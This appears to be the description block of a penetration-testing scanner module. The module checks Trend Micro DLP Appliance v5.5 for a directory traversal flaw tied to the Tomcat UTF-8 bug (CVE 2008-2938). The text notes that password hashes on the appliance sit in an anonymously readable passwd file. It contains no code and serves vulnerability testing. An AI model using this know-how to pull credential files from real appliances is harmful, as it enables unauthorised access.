        This module tests whether a directory traversal vulnerablity is present
        in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
        The vulnerability appears to be actually caused by the Tomcat UTF-8
        bug which is implemented in module tomcat_utf8_traversal CVE 2008-2938.
        This module simply tests for the same bug with Trend Micro specific settings.
        Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
        password hashes are stored and anonymously accessible in the passwd file.
